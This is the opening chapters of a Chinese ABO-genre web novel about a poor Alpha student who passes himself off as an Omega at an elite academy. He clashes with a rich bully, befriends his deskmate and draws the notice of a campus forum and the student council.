《万人迷的打开方式有点不对》
1. 第 1 章 “伸手。”
“伸手。”
鲜红的血液顺着针管流出。
校医把装有血液的试管放入检测仪器中,随着仪器发出轻微的嗡鸣声,一旁的打印机同步运作,不过几秒,一份信息素检测单便新鲜出炉。
新生们拿到检测单,一一仔细核对信息,确认无误后,向校医点头示意,校医穿着白大褂站在桌前,笔尖轻点,在名单上对应的名字旁,画上一个工整的对号。
四十个人的班级,已经有三十九个人完成检测,还差最后一个。
笔尖停在“赵应随”三个字旁边,校医望着空荡荡的门口,准备收工下班。
“抱歉,我迟到了。”
少年一只手扶着门框,另一只手放在下颌处虚掩着,脊背因剧烈运动而上下起伏,他身穿简单的白t配牛仔裤,却仍能看出他出尘的气质,身材高挑,双腿修长,过腰的长发随微风而轻轻摆动。
他抬起头,校医也因此能看清他的整张脸,冷白的肌肤,眉若远山,明眸皓齿,不时有细密的汗珠从光洁饱满的额头落下,顺着呼吸而产生的起伏慢慢洇入衣领中,显得整个人有种说不出的欲。
赵应随自觉把胳膊平放在桌子上,静静等了几秒,却不见有人动作,他带着一丝疑惑转过头,目光落到好似在cos大理石雕像的校医身上。
校医猛的回神,意识到自己的失态,右手成拳放到嘴边,刻意地假咳一声,试图用这一声咳嗽来掩饰自己的方才失神的尴尬。
随后整个检验过程一气呵成,赵应随很快就拿到自己新鲜出炉的报告单。
性别:Omega
等级:中等
身份:大一平民新生
年龄:十九
赵应随垂眸盯着手中的报告单,脸上波澜不惊,丝毫瞧不出情绪起伏,仿佛在看一张无关紧要的白纸。目光扫过性别那一栏,一丝不易察觉的如释重负,在眼底悄然划过。
“没问题是吧,你可以去教室了。”校医说,语气中还有些遗憾。
赵应随拿着学生手册在偌大的校园里走走停停,寻找着自己的班级。
此时艳阳高照,赵应随本就怕热,于是就没再带着口罩,清皎泠泠的样貌暴露在空气中,自成一番风景。
路过的学生下意识的驻足观看,面露惊艳,更有甚者,偷偷拿起手机拍下赵应随的精致的侧脸。
赵应随对于这种目光和行为早已习以为常,但是初到奥尔斯顿,这个大部分学生都非富即贵的地方,他还不想吸引太多注意力。
于是赵应随加快脚步,匆匆向目的地走去。
男生边扭头看着Omega离去的背影,边迷了魂似的向前走,突然撞到个硬邦邦的物体,整个人瘫坐在地上。
男生愤怒地抬起头,刺眼的光线模糊了面前人的脸,挺拔的身姿在地上投下一片阴影,男生收起了所有不忿,迅速跪下来,低头看着那人价值五位数的球鞋,颤颤巍巍地开口:“李、李哥。”
李任声连半分眼神都没分给他,掸掸自己刚才被男生碰到的地方,像是被什么脏东西碰到一样。
Alpha信息素的威压像是无形的鞭子,狠狠的抽在男生的脊梁骨上。李任声身后的跟班们嘻嘻哈哈地笑着,看着男生额头上的冷汗不停地落下。
听完男生脸色苍白的解释,李任声咧开嘴角,“这么好看?”
男生双眼骤亮,像抓住了救命稻草一般,双膝跪地,上半身挺直,面上堆着讨好的笑,把照片递给李任声看。
李任声食指摩挲着下巴,满意地眯起眼,“是个美人。”
午后的阳光虽不如刚才毒辣,却也晒的人难受。大部分新生们早已走完了报道流程,坐在班里吹着空调。C班的学生都是靠成绩进来的“平民”,在这种贵族学校颇有些同病相怜的感觉,因此气氛算是融洽,教室外时不时能听到哄笑声。
赵应随踏进教室,结束了学生们这种轻松的状态。一瞬间,气氛像是寒冬里水一样,迅速凝固成冰。
赵应随环视教室一圈,穿过走道,坐到唯一的空位上。他的同桌正趴着睡觉,正好也省去赵应随应付的功夫。
教室里的说话声在赵应随坐下后逐渐扩大,几十个人窃窃私语让赵应随有点烦躁,更别提时不时有人用自以为隐蔽的目光看着他。
赵应随不胜其烦,学着同桌地姿势趴在桌上养神,看不到赵应随的脸,班里讨论的声音才渐渐小下去。
“最后一排的醒醒!”负责管理C班的老师用雄浑的声音叫醒赵应随和同桌。
赵应随抬起头来,惺忪的眼睛不过几秒就变得清醒。
同桌从深度睡眠中被叫起来,一脸不耐地跟老师对视,脸色漆黑,眼眸好似黑洞一般,危险而阴冷。
老师被同桌的眼神吓的身形一颤,扶着讲台稳住重心,假咳几声为自己找回面子,“老师来了还不醒,不知道规矩都是在哪里学的。”
“呃,我姓林,大家可叫我林老师,欢迎大家来到我们奥尔斯顿学院……”林老师絮絮叨叨的讲起注意事项,无非就是再复述一遍学生手册的内容。
赵应随有一搭没一搭地听着,心思早已飞到九霄云外去。同样不想听的还有他的同桌,人家可一点面子都不给班主任留,直接又趴在桌子上睡了。
“……食堂只能去一楼。还有,长得好看的和脾气差的,在这儿小心着点,惹到不该惹的人,大罗神仙都救不了你。”班主任若有似无的看了一眼赵应随的方向,说完最后一句话,“行了,回宿舍收拾东西去吧,你们的行李已经给你们送到宿舍门口了。”
学生们拖拖拉拉地涌出教室,偌大的教室很快就空空荡荡。赵应随站起身,犹豫片刻,食指中指半曲,轻敲几下桌子。
同桌毫无动静,或许是懒得搭理赵应随。
赵应随自认仁至义尽,收拾了一下就准备回宿舍。
教室门口的不速之客挡住了赵应随的去路。Alpha悠闲地倚在门框上,面容痞气,袖子半卷,一只手插着兜,另一只手拨弄着zippo打火机上展翅欲飞的雄鹰。
赵应随微微皱眉,“请让一让。”
李任声突然凑近,赵应随下意识后退一步,一只手捂住自己的腺体,面色不善。
李任声志得意满地笑,似乎在回味Omega信息素的味道,“你的信息素很好闻,是什么茶?龙井?”
Alpha称赞Omega信息素味道,这种行为大多数情况下是为了调情。
赵应随往后再退一步,呈现出防备的姿态。
未经允许,擅自接近Omega的腺体,Alpha的行为完全可以被定义为骚扰。
李任声像是被逗笑了,“紧张什么?我又没对你动手动脚,美女,不如加个联系方式?”
说着,Alpha的一只手放在赵应随的肩膀上,像雄鹰的利爪刺入猎物皮肤,疼痛自肩膀蔓延开来。
赵应随的指节轻微作响,眉宇间陡然露出几分凶色,还未来得及有所动作,肩上突然一轻。
赵应随一顿。
赵应随侧脸几寸之外的地方,同桌单手箍住了李任声的手腕,把它从赵应随的肩膀上拿开,表情漠然冷淡,力气却越来越大,赵应随甚至能听到骨节碎裂的轻微声音。
李任声想要把手抽回去,却发现完全动弹不得,他咬紧后槽牙,威胁道:“放开!你个贱种,知道我是谁吗?”
同桌面无表情的脸笼罩上了一层寒霜,眼神阴森,令人不寒而栗。他拽着
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李任声的手腕猛然拉近距离,看着对方轻蔑凶狠的眼睛,一记重拳把李任声打倒在地,身体与地面接触的沉闷巨大的声音回荡在每个人耳边。
同桌看着李任声身后犹豫不决的跟班,活动了两下手脚,脸上依旧没什么表情,明晃晃地传递出消息:我不好惹,也不怕惹事。
赵应随有些讶然地看向同桌,没想到他会出手。
李任声半坐在地上,神色狰狞,牙关紧咬,被一个平民打了一拳,这个场子要是找不回来,他在奥尔斯顿也不用混了。
李任声放出信息素威压,浓郁强烈的火焰燃烧的气味迅速弥漫到空间的每一寸,霸道的信息素让人头皮发麻,仿佛置身于熊熊燃烧的炽热火焰中,除了下跪求饶外,没有别的选择。
同桌不甘示弱,淡然直视着李任声,也放出自己的信息素。相比于李任声要烧毁一切的火焰味信息素,他的信息素是一种果子,不是被精美包装的名贵多汁的水果,像是草原上艰苦长成的酸涩中带点苦的野果。
两股截然相反的信息素在空气中剧烈地碰撞,像是狮虎互相在脖颈上撕咬,势要用牙齿连血带肉地从对方身上咬下一块,谁也不服谁,谁也不认输。
赵应随身为Alpha,对于其他Alpha信息素的味道有着天然的抗拒。被这两种信息素弄的头脑发昏的同时,还要分神抑制住自己的信息素,赵应随牙齿用力一咬,舌尖的血腥味勉强遏制了同类相斥的不适感。
不仅是赵应随受不住,跟班里的低等Alpha和一部分Beta坚持不住,半跪在地上,站着的人也是强忍着不适,扶着墙壁勉强支撑着身体。
走廊墙顶上的信息素检测器亮起红光,温柔的机械女声在每个人的耳边响起,“检测到信息素浓度超标,检测到信息素浓度超标……”
一个跟班拽住李任声的衣袖,面色如土,“老大,检测器响了。”
李任声恶狠狠地剜了对面的Alpha一眼,粗暴地甩开跟班搀扶的手,却也知道这个时间点不能把事情闹太大,反正同在一所学校,来日方长。
“看好你的宝贝Omega,杂种。”
留下句狠话后,李任声带着跟班们扬长而去。
赵应随顺着墙壁慢慢站直身体,心道,一群神经病。
身旁的同桌双腿发颤,无力地坐在最近的椅子上,汗水顺着鬓角滑落,脸已经烧的通红,大口急促地呼吸着空气。
赵应随发觉他的状态不对,修如梅骨的手指扣住同桌的下巴,带着不容抗拒的力道迫使他抬起头。
泛着凉意的指腹触碰着滚烫的皮肤,就如同独自一人穿越沙漠,皮肤炙热难当,这时突然下了一场小雨,冰冷的雨滴抚慰着每一寸火辣辣的皮肤。
还不够……还想要更多………
Alpha喉咙干渴难耐,胸膛剧烈起伏着,急躁地蹭着赵应随的指尖。
赵应随挑眉,干净利落地给了Alpha一巴掌。
“啪。”
Alpha头偏向一方,右脸上指印清晰可见,不算疼,但足够让Alpha神志清明少许。他眼巴巴地看着赵应随把手指收回,垂涎欲滴四个字明晃晃地写在脸上。
赵应随冷笑一声,垂下眼皮,“知道我是谁吗?”
“同桌……美……”最后一个字被硬生生打断,Alpha直勾勾地盯着赵应随耳垂上的红痣,声音沙哑难耐。
赵应随的手轻轻抚摸着Alpha头顶的发丝,像是奖励Alpha的回答。Alpha难以自抑地想要用鼻尖蹭蹭赵应随的掌心,却害怕再被打一巴掌,只能在还有几毫米的地方停下,赵应随甚至能感受到因Alpha鼻尖动作产生的气流涌动。
“乖。”赵应随说。
2. 第 2 章 “同学,还有意识吗?”
“同学,还有意识吗?”
“姓名:邵祁,性别:Alpha。”
“拿抑制剂。”
医护人员动作利落干脆,将冰凉的液体注入邵祁的腺体。
“注射成功。”
“现在的孩子真是,对待易感期都马马虎虎。”
赵应随站在医护人员的视野盲区,静静看着医护人员把昏迷的邵祁抬出教室。
邵祁躺在担架上,双眼紧闭,豆大的汗珠不断从额头上流下,脸色比之前好很多,不再像火烧一样红,嘴里在小声念叨着什么。
Alpha的听觉的视觉十分敏锐,能够准确捕捉到十几米之外的细微的声音,因此赵应随听见他低声喃喃道,同桌。
确认邵祁平安无事后,赵应随转身下楼。
奥尔斯顿教学楼前,有一颗巨大挺拔的榕树,据说是第一届优秀毕业生亲手种下的,几十年过去,如今树干巍峨,枝繁叶茂,风一吹,沙沙作响,宛如绿色海洋的波浪。
万籁俱寂中,被绑在树干上学生发出的哀鸣声就显得尤为刺耳。那学生有些眼熟,赵应随思索片刻,是偷拍自己的学生之一。
赵应随脚步不停,他今天很累,想回宿舍休息。
空无一人的校园里,路灯还未亮起,只有一缕夕阳作陪,赵应随早已习惯了这种残阳如血的环境,倒不觉得寂寞怅然。
“轰————”
巨大引擎声由远及近,路灯跟随着摩托的轨迹一盏一盏亮起。不知怎的,赵应随心头一跳,扭头的那一瞬间,头顶灯光亮起,他和摩托车主人清楚地看到彼此的眼睛。
摩托车主人的下三白眼微微下移,凌厉阴郁,宛如寂静山岭中觅食的野狼。赵应随眼睛微微睁大,从上往下看,浓黑的眼眸和漂亮的眼型摄人心魄,哪怕是野兽,在这样的眼睛下,都会收回利爪,露出脆弱的血管。
他们的目光在一瞬间交汇,时间霎时停止流通,整个世界好像只剩下他们两人,摩托车风驰电掣带来的风轻轻托起赵应随的长发,如同莫扎特狂想曲中跳动的音符,模糊了视线。
摩托车主人率先移开了目光,驾驶着摩托扬长而去。
赵应随抿唇,目视着摩托车离去,头顶的灯光沿着发丝倾泻而下。
他是谁?
…………
身为首屈一指的贵族学校,奥尔斯顿不仅每年招收大量成绩优异且一穷二白的学生,而且财大气粗地免除所有学费,提供单人宿舍。
人脸识别成功后,门应声而开。
身在寸土寸金的首都,宿舍不大,但还是囊括了洗澡和做饭的空间,通往床铺的走道很窄,只容一人通行,两个人的话就要摩肩接踵了。
赵应随对此很满意,宽敞空荡的房子没有安全感,窄小而一应俱全的宿舍正合他意。
行李被放在床旁,赵应随打开箱子,小心翼翼地取出放在最里面的药剂,装有浅蓝色液体的小玻璃瓶完好无损。
这种让Alpha伪装Omega的违禁品,一旦被发现就前功尽弃。
赵应随把它们藏到衣柜最里面,关上了柜门。
浴室里,热水散发氤氲的雾气让赵应随的身影若隐若现,凝结的水珠从发梢轻轻落下,划过赵应随优雅的脖颈线条。赵应随下意识地用指尖轻拂后颈,几个深红的针眼在白皙细腻的皮肤上尤为显眼。
吹过头,赵应随仰面躺在柔软的单人床上,酸痛疲乏的感觉自四肢流动。
学校把学费和住宿费免除,学杂费和餐费还是要自己负责。一个月不间断的打工,从早到晚,忙活的像高速运转的陀螺,终于才在今天上午凑够了钱。舍不得打车,赵应随骑着快要散架的自行车狂奔十公里,踩着点到的学校。
闭上眼,过度劳累的疲乏如期而至,不过几秒,赵应随便沉沉睡去。
赵应随有意识时,周围一片漆黑,唯有自己身上发出点点白色微光。
我在做梦,赵应随冷静地想。
这种场景在梦中已经出现了千百次。
忽然,脚下漆黑的地面变为松软的雪地,赵应随抬头,天空被风雪笼罩,雪花纷纷扬扬落下,像柳絮一样柔。
赵应随伸手去接,雪花却穿过赵应随的身体飘落在地上。
感触不到雪花,也感受不到寒冷,赵应随向前漫无目的的地走着,苍茫天地之间,只有呼啸的风雪与他相伴。
不知走了多久,他听见一声哀嚎,充斥着绝望与痛苦,如同灵魂被撕裂的声音。
追随声音的来源,一个人背对着赵应随跪坐在雪地里,鲜血浸红了身下的雪,肩膀时不时耸起,伴有浅浅的抽泣声。
伴随着越来越巨大的心跳声,赵应随走到那人面前,面无表情地看着他和自己如出一辙却泪流满面的脸。
“赵应随”怀中抱着一个男人,他一只手护住男人的脑袋,另一只手紧紧捂住他的脖子,鲜红的血液自怀中人脖子的动脉喷涌而出,一路静静流淌,沁湿了雪白的衬衣,从无力的指尖一滴一滴落入茫茫白雪中。
男人的脑袋靠在“赵应随”的颈窝,面容被风雪遮盖,嘴角微微勾着,用可以活动的手轻轻擦拭着“赵应随”眼泪,仿佛恶龙对待至死要守护的珍宝。
这么生死攸关的时刻,男人还有闲情逸致对“赵应随”开玩笑。
“我死后,你可要给我守寡……听到没?”
“别、别死……我会救你的……”
“赵应随”语无伦次地不停重复这句话,眼神暗淡无光,豆大的眼泪从眼眶中止不住流出,心痛的无以复加。
救不了他的,他是为你而死。
在一旁冷眼旁观,赵应随脑海里自然而然的浮现出这种想法,赵应随不知道为何自己会这么笃定,就像不明白为何自己会经年梦到这个画面。
像以往无数次一样,赵应随走上前,试图看清怀中人模糊不清的脸。突然,寒风狂啸,暴雪肆虐,雪花之密集,让赵应随
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无法视物,他咬着牙接近雪地中两人,却被狂风推着向后不断移动,最后跌倒在雪地里,鼻腔里满是冰雪的寒冷气息。
和往常一样,赵应随在倒在地上的一瞬间,就从梦中清醒了过来,心跳如擂鼓。喘着气静静躺了一会儿,赵应随看了一眼时间,六点整。
卫生间里,赵应随就着冷水洗了把脸,他抬头看镜子中自己,脸部线条流畅优美,五官精致,冷艳感十足,唇如山茶,漂亮且红润,连脖间和耳垂上的红痣也和梦中的“赵应随”一样。
赵应随看着镜子,用手摸着心脏,掌心下的剧烈跳动昭示着所有者此刻并不像表面那么平静。
十年前,赵应随父母车祸身亡,年幼的赵应随跟着奶奶寡居,不久奶奶也患癌去世,从此赵应随在这世上孑然一身。
亲戚们不愿意接管这么一个丧门星,为着赵应随的抚养权在家里吵翻天,奶奶的黑白照就摆在正门的桌子上,无悲无喜地看着他们丑态百出,面目狰狞。
最后僵局还是由赵应随亲自来打破,他一把掀翻桌子,在鸦雀无声中淡然宣布自己的归宿,“你们以后不用管我,我也不需要你们,但是奶奶房子的所有权归我。”
远方表叔抻着脖子反驳道:“那怎么行,这房子你一个小孩怎么打理。”
赵应随直勾勾地看着男人,眼神里是超出年龄的成熟,成年人的肮脏在他眼里好像无处遁形。
“我知道你们惦记着房子拆迁的事,当然可以,”他冷笑一声,补充道,“不过先说好,我要读大学,十八岁之前,我的生活费学费你们都要承担,不给钱我就去告你们。”
拆迁本来就是猴年马月的事,万一拆迁不成,还搭上一个难搞的拖油瓶,那更不划算。
远方表叔讪讪低下了头。
赵应随环视一圈,没和任何人对上眼神,于是一锤定音,为自己的孤儿生涯画上了开始符。
没有稳定的经济来源,赵应随白天上学,晚上辗转多处打工,去工地搬过砖,也去KTV做过服务生。以他的成绩,上个普通的学院不成问题,没必要花费更多的积蓄来奥尔斯顿。
赵应随把手放在心脏的位置,它难得平静了一整天。
从第一次做梦后,赵应随就时不时地心跳加速,与此同时,他能清楚地感应到另一个人的位置,若即若离。赵应随也尝试通过心灵感应去找那个人,可是都是一无所获。往往那人前脚刚走,赵应随后脚就到,总是差些缘分。
距离那人最近的时候,他甚至可以清晰地感受到来自一个陌生人的喜怒哀乐。
过去几年,心灵感应出现的时间地点不定,一年前却稳定下来:他的心脏告诉他,他要找的人,他前世的爱人,就在奥尔斯顿。
这种想法实在太虚无缥缈,让人发笑。赵应随甚至去过医院,却得到“一切正常有可能是压力过大”的诊断
赵应随原本不想去验证它的真假,但可能,自从奶奶去世后,他实在太寂寞了。
3. 第 3 章
皛皛行云浮日光,蛋黄般的晨光洒在校门口每个人神色各异的脸上。
熙熙攘攘的人群默契地为李任声和邵祁划出一片真空地带,赵应随站在人群最外层,高挑的身高能让他轻易看见当前的对峙。
一辆漂亮的红色跑车大剌剌的停在校门口,李任声轻松地依在车门上,堵住了邵祁的路,神色嘲讽,眉毛微微上挑,掩不住眼里的恶意。
邵祁咬紧后槽牙,面色黑沉,勉强压抑住愤怒和屈辱,“让开。”
这两字像是从嘴里勉强撬出来的。
李任声嗤笑一声,双手交叉在胸前,“你跪下来狗叫两声,咱俩就一笔勾销。”
前面的女生小声和同伴窃窃私语,“李任声这是第几个了?去年我的搞退学了三个平民。”
“他家里今年刚给学校捐了一栋楼,可不猖狂吗?”
“黑色校服?是平民吧,脸还挺好看的,可惜了。”
奥尔斯顿等级和他的校规一样森样,这群富家子弟的校服是欧洲某个蓝血品牌的高级定制,根据身形进行剪裁,合身又优雅,藏蓝色的颜色在平民黑色校服的衬托下显得更加高级,站在一起都是一道天堑。
有个新生怯怯地询问,“不狗叫的话,不会真不能进来吧?”
女生用手卷着头发,漫不经心,“那你以为之前那几个是怎么退学的?”
赵应随微微皱眉。
“咚——”顶楼的钟声响起,还有十分钟就是第一节课的上课时间。
“家里供你上奥尔斯顿不容易吧,”李任声若有所指地说,“开学第一天就退学,到时候你的档案也不好看。”
无形的沉默。
“说话啊,”李任声没了耐心,踹了一脚邵祁的小腿,刚过易感期的Alpha身形一晃,“哑巴怎么上的学,不会是你妈靠……”
咔嚓。
车前窗玻璃出现细微裂痕的声音。
邵祁伸出的拳头停滞在半空,配上还未来得及收起的愤怒表情,显得整个人有些呆傻,跟平日里不爱搭理人的形象大相径庭。
喉结滚动,邵祁好半天才找到自己的声音,“你……“
赵应随略带嫌弃地看了一眼好像失去意识的李任声,拿出手帕仔细地擦拭手上的鲜血,神色认真平静,眉梢都不带动一下。
就好像,这个貌美纤瘦的Omega刚刚不是把一个身强力壮的Alpha弄的头破血流,而是修剪了庭院里开得正好的蔷薇后,正在擦干手上沾染的露水。
周围一片死寂,所有人大气都不敢出。
“你他妈谁啊……”李任声半个身子都躺在车前盖上,头晕目眩,额头上血珠不断涌出,被人捏过的后颈此刻隐隐作痛,在这种状态下仍然强撑着放狠话,“知道学校里谁罩着我吗?杂种!表子养的家伙……”
骂的话越来越不堪入耳,简直有失身份。
目睹一切的女生皱了皱眉,却在赵应随要经过她时下意识地垂目,再抬起眼时,Omega纤瘦的身影已经离开了人群。熹微的晨光为Omega镀上了一层金边,显得Omega多了一丝圣洁无瑕,仿佛垂怜世人的神祇。
赵应随停下了脚步,微微侧身,“过来。”
十几米外,邵祁黑沉沉的眼眸直勾勾地盯着赵应随,鼻腔是汗水和灰烬混合的炽热气味,那么烫,连同他整个人都烧起来。
不自觉地吞咽了一下口水,邵祁愣了片刻才慢慢抬起脚步,试探着向赵应随走去。赵应随没给他犹豫的机会,转身就走。
邵祁心中警铃大作,快步跟上赵应随的步伐,如果他有耳朵,此刻已经在头顶直立起来。
邵祁在距离只有赵应随一步之遥的地方放慢脚步,他们之间近到,邵祁甚至能感受到Omega的几缕发丝时不时在手上流连。
邵祁抬起手,Alpha的本能迫使他说些什么,做些什么,但最终邵祁选择一言不发,默默跟在赵应随身后。
等到彻底看不见两人的身影,人群才如同一颗石子抛入的湖面,喧闹起来。
“这是个Omega?!李任声可是个Alpha,跆拳道社社长!”
“我去,这Omega也太帅了,早就看不惯李任声那装的要死的样子。”
“这个Omega好眼熟啊………”
“靠,这不就是昨天热帖里的那个Omega吗?”
“什么热帖?”
“就这个。“
手机界面上,一条标题为《本届校花预定!我终于找到了我的梦中情O》帖子在论坛里热度不断攀升。
………
身为“别人家的孩子”,赵应随常年以父母双亡,自强不息的形象成为居民楼饭桌上的谈资,是其他父母眼中祖坟烧了高香才能生出来的标准优等生。
放学后被班主任留下来批评这种事,更是从没有经历过。
“我昨天说了什么?你们都当耳旁风啊?!”林老师手里拿着保温杯,面色愁苦,“你们这次可是摊上大事了,就那个李任声,咱现在脚下的楼都是他爹盖的!”
赵应随坐在椅子上,漫不经心地敲击着手机屏幕。
“诶诶诶!你……”林老师看着赵应随的样子就来气,用手指着赵应随,准备训斥他的态度不端。
邵祁一言不发地站在赵应随身前,遮住了林老师的视线,目不转睛地看着林老师,像是守卫领地的独狼。
林老师把杯子重重放下,一脸恨铁不成钢,默默生了会儿闷气,也不见有人来认错。
赵应随坐着专注地盯着手机,邵祁站在一旁同样专注地盯着赵应随。
简直要心梗了。
“这种事一般都是学生会来处理,我也保不了你们,不过……咳咳,不过要是你们有点诚意的话,我也不是不……”话音未落,一阵敲门声打断了林老师的话。
“谁打了李任声?”来人语气生硬地询问。
邵祁上前一步,领头的人眼睛微眯,正欲说些什么,却被突然打断。
“是我。”赵应随收起手机,从椅子上站起来。
学生会的人略带惊奇地看了赵应随一眼,随即很快收起了情绪,“跟我走。”
穿过长长的走廊,三个人的影子交织在一起,学生会的人撇了一眼硬要跟着的邵祁,最终默许了他的跟随。
办公楼的最顶层,空调开到最低,冷的像冰窖,学生们有条不紊地处理着自己的事情。空气里只有空调运作的声音和笔尖的沙沙声。
像是个停尸间。
“闲杂人等勿入。”
邵祁听到这句话后皱起了眉,第一反应是反抗,被赵应随看了一眼后,才老老实实收起了自己的小心思关上了学生会的门。
赵应随跟着学生会的人走进一间办公室,与墙等高的书架映入眼帘,带路的人示意他坐在沙发上,随后就离开了。
“滴滴。”
手机屏幕上显示有一条未读信息。
Mortal:你放学了吗?【探头.JPG】
Random:有事
对方显示正在输入中,赵应随随意地扫了一眼书架,上面几乎都是原文书,粗略估计有七八种语言。
Mortal:没什么事,今天开学第一天,你还适应你的新学校吗?
Random:还行。
Mortal:真好,不像我第一天开学就生病住院。【哭丧着脸.JPG】
看着丑萌丑萌的表情包,赵应随一下子丧失了沟通的欲望。
Random:多喝热水。
赵应随都被自己直A到了,觉得Mortal应该不会再回复,果然发过去后,界面上没有显示“对方正在输入中”。
十几秒之后,消息声却再次响起。
Mortal:好。【乖乖喝热水.JPG】
估计刚才是去找配套的表情包了,赵应随捏捏鼻梁,无可奈何地回复:嗯。
Mortal:好烦啊,Omega的身体好脆弱。【叹气.JPG】
Random:好好锻炼,你将来也能做个能一拳打倒Alpha的Omega。
单人病房里,严作凡坐在病床上,右手输液,左手单手打字。看完Random的直A式鼓励,严作凡难得露出的笑意,像是冰面破碎,露出涌动的泉水。
工作专用的手机显示有来电,严作凡迅速收起眉梢的笑意,拉直嘴角:“说。”
听着副会长的汇报,严作凡漫不经心
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地评价,“被一个Omega打晕,真够出息的。”
副会长不敢苟同,严作凡也不在意,给Random回了个【小人努力锻炼】的表情包,带着笑意给这件事下了定论:“李任声自己理亏在前,挨了打也算活该,他也太猖狂了。”
副会长知晓了严作凡的态度,“好的会长,那我就不打扰您养病了。”
“嗯,我后天回。”严作凡说。
空荡荡的会议室,赵应随百无聊赖地盯着一处,默默发着呆。
门开了,来人告诉赵应随可以离开,赵应随有些吃惊,这件事就这么被重拿轻放了?
赵应随对于学生会并没有好感,这个组织从头到脚都写着精英两字,甚至能够越过老师,直接处理学校中的事务。里面的人自然也是非富即贵,跟李任声是一类人。
哪怕这件事是李任声挑衅在先,按照之前的处理方式,也不过是用钱权威胁、恐吓,堵住受害人的嘴。
更何况,自己也实打实地弄伤了李任声。
离开之前,赵应随忍不住询问道:“我不用再来了吗?”
胸牌上写着副会长的Alpha淡然回复:“对。”
赵应随装作一脸茫然,“可是我还没有见到会长。”
这也是副会长疑惑的地方。眼前这个Omega漠视纪律,违背校规,在大庭广众之下贸然出手,即使是情有可原,也不可避免地造成了恶劣影响。
按照学生会的以往的处理方式,虽然不会下死手,但Omega也不会有在继续上学的可能。可如今,会长却放过了他,让他安然无事地走出了学生会的大门。
这有些耐人寻味了。这个Omega到底有什么魔力?还是会长要打任胜寒和李任声的脸?
心中思绪万千,副会长面上依旧滴水不漏,对赵应随的疑问不置一词,礼貌地将他送出了门。
一道影子延长到门口,邵祁倚靠在墙边,臂弯里挂着一件新外套,眼珠漆黑,一丝光亮也透不进去。
看见赵应随出来,邵祁略带惊喜地抬起了头,眼睛里重新焕发出光彩,小跑两步站在赵应随前面。
“你……冷不冷?”嘴唇嗫嚅了半天,最后只蹦出来了一句问候。
赵应随低头看了一眼邵祁的手臂,没回答。
怕赵应随嫌弃外套,邵祁有些慌乱地解释:“新买的,我没穿过。”顿了顿,邵祁又补充道:“洗过了。”
赵应随没有接过外套,“我不冷。”
邵祁抿着嘴,跟在赵应随身后,保持着不远不近的距离。
赵应随有些无语,邵祁的目光太过强烈,他能清晰地感受到邵祁的视线从头打量到脚,像是在确认Omega有没有受伤,是不是在硬撑着不冷。
Omega宿舍楼就在前面,赵应随停下了脚步,邵祁也跟着停下。
虽然不明白赵应随为什么停下来,邵祁还是专注地看着他,这样纯粹而炽热的眼神,让赵应随想起了居民楼下的那只流浪狗。
赵应随不过是给了它一根香肠,它就一厢情愿地认主,总是偷偷摸摸地跟着赵应随。赵应随当时都自顾不暇,哪里还能管到了一只小狗呢?
赵应随看着邵祁的眼睛,“你想跟着我回宿舍吗?”
邵祁一下子脸色涨红,“不、不是。”
赵应随扭头就走,却被邵祁喊住。
“谢谢你。”邵祁认真地说。
赵应随告诉邵祁:“你也帮了我,两清。”
“不一样的,”邵祁被夕阳给予了勇气,“就算没有我,你也能解决好李任声,所以是你帮了我。”
赵应随直截了当地说:“就算当时被堵在校门外的不是你,我也会出手,所以用不着感谢。更何况你被李任声针对,本来就是因为我的缘故,我当然不能置之不理。”
说完,赵应随没在管邵祁的反应,径直回到宿舍。暮色沉沉,Alpha在窗外站了许久,直到夜幕低垂才离开。
咚咚。
赵应随被门外的宿管塞了一杯热而不烫手的果茶,宿管挤眉弄眼地告诉他,这是个又高又帅的Alpha给他送的,还提醒宿管不要勉强赵应随收下。
果茶杯上粘了一个便利贴,上面写着:谢谢你。
4. 第 4 章
【本届校花预定!我终于找到了我的梦中情O】
1L楼主
如标题所示,楼主遇到了楼主的梦中情O,你们真的不知道他有多漂亮圣洁,脆弱易碎,我见犹怜,倾国倾城。看见他脸的那一刻,我仿佛听到丘比特之箭射穿我的心脏。
2L
笑死我了,楼主是把这辈子的四字成语都用上了吧,好直A的描述。
3L楼主
你怎么知道我是A?
4L
楼主口说无凭,发张照脸让我们看看啊
5L
就是就是,说不定楼主在这里炒作呢,比我女神美的Omega现在还没出生呢好吧
6L
楼上味儿好冲啊,又是哪只舔狗混进来了
7L
在吗?看看照片
8L
不信。
9L楼主
我靠,我会骗人吗?发就发,不过照片有点糊,真人比照片美上十倍不止。【照片】【照片】【照片】
10L
我去………这是人类能拥有的颜值吗?
11L
一开始我还觉得楼主夸张了,现在看真不怨楼主……这也太漂亮了吧,吸溜。
12L
质疑楼主,理解楼主,成为楼主。
13L
我直接“嗨,老婆。”
14L楼主
看起来是不是漂漂亮亮的,我没说谎吧!就是太瘦了,我一定会好好保护他的!(握拳)
15L
腰和手腕都好细啊,是不是有点节食过度了?本人也是Omega,照片里的O也太瘦了点,如果是天生的当我没说。
16L
怪不得楼主说这个Omega我见犹怜呢,这细胳膊细腿,我一个Beta看了也好有保护欲。
17L
感觉如果我做错事,他会冷冰冰地拿鞭子抽我,拽着我的下巴问我知道哪里错了吗的Bking(捧脸)
18L
楼上说的我都有点那个了……
19L
笑死了,醒醒吧
【折叠若干楼】
100L楼主
这是我的梦中情O!你们都不要再说了!
说正经的,有没有人知道他到底是谁?
101L
之前没听过他,估计是新生吧。
102L
看校服,是个平民啊,说不定就是专门来咱们学校傍豪门的绿茶23333
103L
楼上什么东西,长得好看的Omega就非要嫁个豪门啊?
104L
楼主……虽然有点不想打破你的幻想,但是这个帖子里的Omega好像就是你的梦中情O。【附链接】
………
【速看!十分钟后删】
1L匿名
视频速看,十分钟后删,尽量匿名评论【附视频】
2L
这是第几个贴子了,感觉不到十分钟就会被删
3L
笑死,光是我今天刷到的都是第五个了,还不算补发的
4L
楼上在说什么,我怎么听不懂
5L
我要是被一个身娇体软的O打了,也不想让人知道,更何况是lrs那个眼高于顶的Alpha
6L
楼上,不止被打了,而且还被打的头破血流
7L
我怎么听说lrs被打成植物人了?
8L
???楼上说的还是中文吗?明明是被捏着脖子,在车前盖上撞了个坑……
9L
天道好轮回,活该!听到这个消息后我简直爽死了
10L
我靠这个O也太逆天了吧(各种意义上)
11L
悄悄舔颜
12L
同意!原是想看lrs笑话的,谁知道一看视频就停不下来了,太好看太好看太好看了
13L
这么漂亮的O也太可惜了吧,lrs肯定不会放过他,之前lrs都弄退学了好几个了
14L
lrs不就是家里有点小钱
15L
报!!!我听我朋友说,打人的那个O被学生会放出来了!!没有任何处罚!!
16L
啊?真假,学生会不是出了名的大公无私吗
17L
